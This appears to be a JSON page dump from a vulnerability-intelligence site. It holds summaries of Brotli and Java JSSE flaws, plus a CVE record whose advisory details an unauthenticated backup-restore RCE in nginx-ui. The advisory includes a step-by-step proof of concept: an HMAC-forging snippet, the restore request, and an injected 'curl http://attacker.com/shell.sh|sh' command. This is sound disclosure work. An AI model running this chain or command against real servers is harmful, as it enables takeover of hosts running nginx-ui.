[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-42238":30,"landing-articles":105},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":53,"references":56,"score":61,"epss_score":62,"epss_percentile":63,"is_kev":64,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":65,"attack_mappings":75,"exploits":103},7366,"CVE-2026-42238","EUVD-2026-27141","Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore\n\n**Product:** nginx-ui\n**Repository:** `0xJacky\u002Fnginx-ui` (branch: `dev`)\n**Vulnerability Class:** Authentication Bypass → Arbitrary File Write → OS Command Injection\n**Affected Component:** `POST \u002Fapi\u002Frestore`\n\n---\n\n## 1. Vulnerability Summary\n\nnginx-ui exposes a backup restore endpoint (`POST \u002Fapi\u002Frestore`) that is **completely unauthenticated** during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments.\n\nThe 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).\n\n---\n\n## 2. Root Cause Analysis\n\n### 2.1 The Restore Route Is Registered Without Authentication\n\n`backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: [1](#2-0) \n\nThe route definition: [2](#2-1) \n\n### 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass\n\nThe only authentication guard on the restore route is `authIfInstalled`: [3](#2-2) \n\nIt calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: [4](#2-3) \n\n- `InstallLockStatus()` returns `false` because `JwtSecret` is `\"\"` on a fresh install and `SkipInstallation` defaults to `false`.\n- `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`.\n\nWhen both are `false`, `authIfInstalled` calls `ctx.Next()` with **zero authentication**.\n\n### 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier\n\nThe `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is **optional** — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: [5](#2-4) \n\nAn attacker sends a plain `multipart\u002Fform-data` request without `encrypted_params` and the middleware is a no-op.\n\n### 2.4 The Attacker Controls the AES Key Used to Verify the Backup\n\nThe restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: [6](#2-5) \n\nThe manifest integrity check derives its HMAC signing key **from the attacker-supplied AES key**: [7](#2-6) \n\nSince the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.\n\n### 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally\n\nWhen `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: [8](#2-7) \n\n### 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command\n\nAfter restore, `risefront.Restart()` is called, reloading `app.ini`: [9](#2-8) \n\nOn the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `\u002Fbin\u002Fsh -c`: [10](#2-9) [11](#2-10) \n\n---\n\n## 3. Attack Prerequisites\n\n| Requirement | Notes |\n|---|---|\n| Network access to nginx-ui port | Default: 9000\u002Ftcp |\n| Target is a fresh install | `JwtSecret` is empty in `app.ini` |\n| Within 10 minutes of last process start | Window resets on every restart |\n| IP not blocked by `IPWhiteList` | Default config has no IP whitelist |\n\nThe 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window.\n\n---\n\n## 4. Step-by-Step Proof of Concept\n\n### Step 1 — Confirm the installation window is open\n\n```http\nGET \u002Fapi\u002Finstall HTTP\u002F1.1\nHost: target:9000\n```\n\nExpected response confirming vulnerability:\n```json\n{\"lock\": false, \"timeout\": false}\n```\n\n### Step 2 — Craft the malicious backup\n\nThe backup format (derived from `internal\u002Fbackup\u002Fbackup.go`) is:\n\n```\nbackup-TIMESTAMP.zip          ← outer ZIP (unencrypted)\n├── manifest.json             ← JSON manifest\n├── manifest.sig              ← HMAC-SHA256 of manifest.json\n├── nginx-ui.zip              ← AES-CBC encrypted inner ZIP\n└── nginx.zip                 ← AES-CBC encrypted inner ZIP\n```\n\n**2a.** Generate a random 32-byte AES key and 16-byte IV.\n\n**2b.** Create the malicious `app.ini` to place inside `nginx-ui.zip`:\n\n```ini\n[app]\nJwtSecret = attacker_chosen_jwt_secret_32chars\n\n[node]\nSecret = attacker_chosen_node_secret\n\n[nginx]\nTestConfigCmd = curl http:\u002F\u002Fattacker.com\u002Fshell.sh|sh\n```\n\n**2c.** Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).\n\n**2d.** Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`.\n\n**2e.** Encrypt both ZIPs with AES-256-CBC using your key and IV.\n\n**2f.** Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`:\n\n```json\n{\n  \"schema\": 1,\n  \"created_at\": \"20260421-120000\",\n  \"version\": \"2.0.0\",\n  \"files\": [\n    {\"name\": \"nginx-ui.zip\", \"sha256\": \"\u003Chash>\", \"size\": \u003Csize>},\n    {\"name\": \"nginx.zip\",    \"sha256\": \"\u003Chash>\", \"size\": \u003Csize>}\n  ]\n}\n```\n\n**2g.** Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as:\n\n```python\nimport hashlib, hmac\ncontext = b\"nginx-ui-backup-signing-v1:\"\nsigning_key = hashlib.sha256(context + aes_key).digest()\nsig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()\n```\n\n**2h.** Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`.\n\n### Step 3 — Upload the malicious backup (no authentication required)\n\n```http\nPOST \u002Fapi\u002Frestore HTTP\u002F1.1\nHost: target:9000\nContent-Type: multipart\u002Fform-data; boundary=----Boundary\n\n------Boundary\nContent-Disposition: form-data; name=\"backup_file\"; filename=\"evil.zip\"\nContent-Type: application\u002Fzip\n\n[crafted backup bytes]\n------Boundary\nContent-Disposition: form-data; name=\"security_token\"\n\n\u003Cbase64(aes_key)>:\u003Cbase64(aes_iv)>\n------Boundary\nContent-Disposition: form-data; name=\"restore_nginx_ui\"\n\ntrue\n------Boundary--\n```\n\nExpected response (HTTP 200):\n```json\n{\"nginx_ui_restored\": true, \"nginx_restored\": false, \"hash_match\": true}\n```\n\nnginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`.\n\n### Step 4 — Trigger RCE using the restored node secret\n\nAfter the restart (wait ~3 seconds):\n\n```http\nPOST \u002Fapi\u002Fnginx\u002Ftest HTTP\u002F1.1\nHost: target:9000\nX-Node-Secret: attacker_chosen_node_secret\n```\n\nnginx-ui executes:\n```sh\n\u002Fbin\u002Fsh -c \"curl http:\u002F\u002Fattacker.com\u002Fshell.sh|sh\"\n```\n\nThe attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker).\n\n---\n\n## 5. Impact\n\n- **Confidentiality:** Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`.\n- **Integrity:** Arbitrary modification of all nginx configurations and nginx-ui application state.\n- **Availability:** Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.\n- **Scope:** OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.\n\n---\n\n## 6. Affected Versions\n\nAll versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST \u002Fapi\u002Frestore`. The vulnerability is present in the current `dev` branch.\n\n---\n\n## 7. Recommended Fix\n\n**Primary fix** — Require authentication unconditionally on the restore endpoint. The \"allow restore during initial setup\" design rationale does not justify unauthenticated access to a file-write primitive:\n\n```go\n\u002F\u002F api\u002Fbackup\u002Frouter.go\nfunc InitRouter(r *gin.RouterGroup) {\n    r.GET(\"\u002Fbackup\", middleware.AuthRequired(), CreateBackup)\n    r.POST(\"\u002Frestore\", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\nIf restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.\n\n**Secondary fix** — Validate the content of restored `app.ini` before writing it to disk. Specifically, `TestConfigCmd`, `ReloadCmd`, and `RestartCmd` should be rejected or stripped from any externally-supplied backup.\n\n---\n\n## 8. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-21 | Vulnerability identified via source code review |\n| — | Vendor notification (pending) |\n| — | CVE assignment (pending) |\n\n### Citations\n\n**File:** router\u002Frouters.go (L61-70)\n```go\n\troot := r.Group(\"\u002Fapi\", middleware.IPWhiteList())\n\t{\n\t\tpublic.InitRouter(root)\n\t\tcrypto.InitPublicRouter(root)\n\t\tuser.InitAuthRouter(root)\n\t\tlicense.InitRouter(root)\n\n\t\tsystem.InitPublicRouter(root)\n\t\tsystem.InitSelfCheckRouter(root)\n\t\tbackup.InitRouter(root)\n```\n\n**File:** api\u002Fbackup\u002Frouter.go (L9-16)\n```go\n\u002F\u002F authIfInstalled requires auth if system is installed\nfunc authIfInstalled(ctx *gin.Context) {\n\tif system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {\n\t\tmiddleware.AuthRequired()(ctx)\n\t} else {\n\t\tctx.Next()\n\t}\n}\n```\n\n**File:** api\u002Fbackup\u002Frouter.go (L18-25)\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\t\u002F\u002F Backup always requires authentication (contains sensitive data)\n\tr.GET(\"\u002Fbackup\", middleware.AuthRequired(), CreateBackup)\n\n\t\u002F\u002F Restore requires auth only after installation\n\t\u002F\u002F This allows restoring backup during initial setup\n\tr.POST(\"\u002Frestore\", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\n**File:** api\u002Fsystem\u002Finstall.go (L27-34)\n```go\nfunc InstallLockStatus() bool {\n\treturn settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != \"\"\n}\n\n\u002F\u002F IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded\nfunc IsInstallTimeoutExceeded() bool {\n\treturn time.Since(startupTime) > 10*time.Minute\n}\n```\n\n**File:** internal\u002Fmiddleware\u002Fencrypted_params.go (L69-75)\n```go\n\t\t\u002F\u002F Check if encrypted_params field exists\n\t\tencryptedParams := c.Request.FormValue(\"encrypted_params\")\n\t\tif encryptedParams == \"\" {\n\t\t\t\u002F\u002F No encryption, continue normally\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n```\n\n**File:** api\u002Fbackup\u002Frestore.go (L35-70)\n```go\n\tsecurityToken := c.PostForm(\"security_token\") \u002F\u002F Get concatenated key and IV\n\t\u002F\u002F Get backup file\n\tbackupFile, err := c.FormFile(\"backup_file\")\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))\n\t\treturn\n\t}\n\n\t\u002F\u002F Validate security token\n\tif securityToken == \"\" {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\t\u002F\u002F Split security token to get Key and IV\n\tparts := strings.Split(securityToken, \":\")\n\tif len(parts) != 2 {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\taesKey := parts[0]\n\taesIv := parts[1]\n\n\t\u002F\u002F Decode Key and IV from base64\n\tkey, err := base64.StdEncoding.DecodeString(aesKey)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))\n\t\treturn\n\t}\n\n\tiv, err := base64.StdEncoding.DecodeString(aesIv)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))\n\t\treturn\n\t}\n```\n\n**File:** api\u002Fbackup\u002Frestore.go (L126-132)\n```go\n\tif restoreNginxUI {\n\t\tgo func() {\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\t\u002F\u002F gracefully restart\n\t\t\trisefront.Restart()\n\t\t}()\n\t}\n```\n\n**File:** internal\u002Fbackup\u002Fmanifest.go (L156-163)\n```go\nfunc deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {\n\tif len(aesKey) == 0 {\n\t\treturn nil, ErrInvalidAESKey\n\t}\n\n\tsum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))\n\treturn sum[:], nil\n}\n```\n\n**File:** internal\u002Fbackup\u002Frestore.go (L458-484)\n```go\n\u002F\u002F restoreNginxUIConfig restores nginx-ui configuration files\nfunc restoreNginxUIConfig(nginxUIBackupDir string) error {\n\t\u002F\u002F Get config directory\n\tconfigDir := filepath.Dir(cosysettings.ConfPath)\n\tif configDir == \"\" {\n\t\treturn ErrConfigPathEmpty\n\t}\n\n\t\u002F\u002F Restore app.ini to the configured location\n\tsrcConfigPath := filepath.Join(nginxUIBackupDir, \"app.ini\")\n\tif err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {\n\t\treturn err\n\t}\n\n\t\u002F\u002F Restore database file if exists\n\tdbName := settings.DatabaseSettings.GetName()\n\tsrcDBPath := filepath.Join(nginxUIBackupDir, dbName+\".db\")\n\tdestDBPath := filepath.Join(configDir, dbName+\".db\")\n\n\t\u002F\u002F Only attempt to copy if database file exists in backup\n\tif _, err := os.Stat(srcDBPath); err == nil {\n\t\tif err := copyFile(srcDBPath, destDBPath); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n```\n\n**File:** internal\u002Fnginx\u002Fnginx.go (L25-36)\n```go\nfunc TestConfig() (stdOut string, stdErr error) {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\treturn execShell(settings.NginxSettings.TestConfigCmd)\n\t}\n\tsbin := GetSbinPath()\n\tif sbin == \"\" {\n\t\treturn execCommand(\"nginx\", \"-t\")\n\t}\n\treturn execCommand(sbin, \"-t\")\n}\n```\n\n**File:** internal\u002Fnginx\u002Fexec.go (L12-28)\n```go\nfunc execShell(cmd string) (stdOut string, stdErr error) {\n\tvar execCmd *exec.Cmd\n\n\tif runtime.GOOS == \"windows\" {\n\t\texecCmd = exec.Command(\"cmd\", \"\u002Fc\", cmd)\n\t} else {\n\t\texecCmd = exec.Command(\"\u002Fbin\u002Fsh\", \"-c\", cmd)\n\t}\n\n\texecCmd.Dir = GetNginxExeDir()\n\tbytes, err := execCmd.CombinedOutput()\n\tstdOut = string(bytes)\n\tif err != nil {\n\t\tstdErr = err\n\t}\n\treturn\n}\n```","2026-05-06T17:03:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":44,"privilegesRequired":45,"confidentialityImpact":44},"UNCHANGED","3.1",9.8,"NETWORK","CRITICAL","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","HIGH","NONE","LOW",true,[49],"CWE-94",[51,52],"cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*","cpe:2.3:a:0xjacky:nginx-ui:*:*:*:*:*:*:*:*",[54,55],"Nginxui Nginx Ui","0Xjacky Nginx-Ui",[57,58,59,60],"https:\u002F\u002Fgithub.com\u002F0xJacky\u002Fnginx-ui\u002Freleases\u002Ftag\u002Fv2.3.8","https:\u002F\u002Fgithub.com\u002F0xJacky\u002Fnginx-ui\u002Fsecurity\u002Fadvisories\u002FGHSA-4pvg-prr3-9cxr","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-42238","https:\u002F\u002Fgithub.com\u002F0xJacky\u002Fnginx-ui",0.84,0.00971,0.61678,false,{"timestamp":66,"automatable":67,"tech_impact":68,"exploitation":69,"cisa_decision":70,"cisa_remediation_timeline":74},"2026-05-05T15:49:03.741492Z","no","total","poc",{"vector":71,"decision":72,"priority":73},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T07:02:18.112600\u002F","attend","medium","14D",[76,82,91,97],{"name":77,"source":78,"tactics":79,"technique_id":81},"Exploit Public-Facing Application","attack_vector",[80],"initial-access","T1190",{"name":83,"source":84,"cwe_ids":85,"tactics":86,"capec_ids":88,"technique_id":90},"HTML Smuggling","capec",[49],[87],"stealth",[89],"CAPEC-35","T1027.006",{"name":92,"source":84,"cwe_ids":93,"tactics":94,"capec_ids":95,"technique_id":96},"Embedded Payloads",[49],[87],[89],"T1027.009",{"name":98,"source":84,"cwe_ids":99,"tactics":100,"capec_ids":101,"technique_id":102},"Resource Forking",[49],[87],[89],"T1564.009",[104],{"link":58},{"count":106,"next":107,"previous":6,"results":108},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[109,117,125],{"id":110,"title":111,"summary":112,"published_at":113,"type":114,"link":115,"image_url":116},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":118,"title":119,"summary":120,"published_at":121,"type":122,"link":123,"image_url":124},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":126,"title":127,"summary":128,"published_at":129,"type":130,"link":131,"image_url":132},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]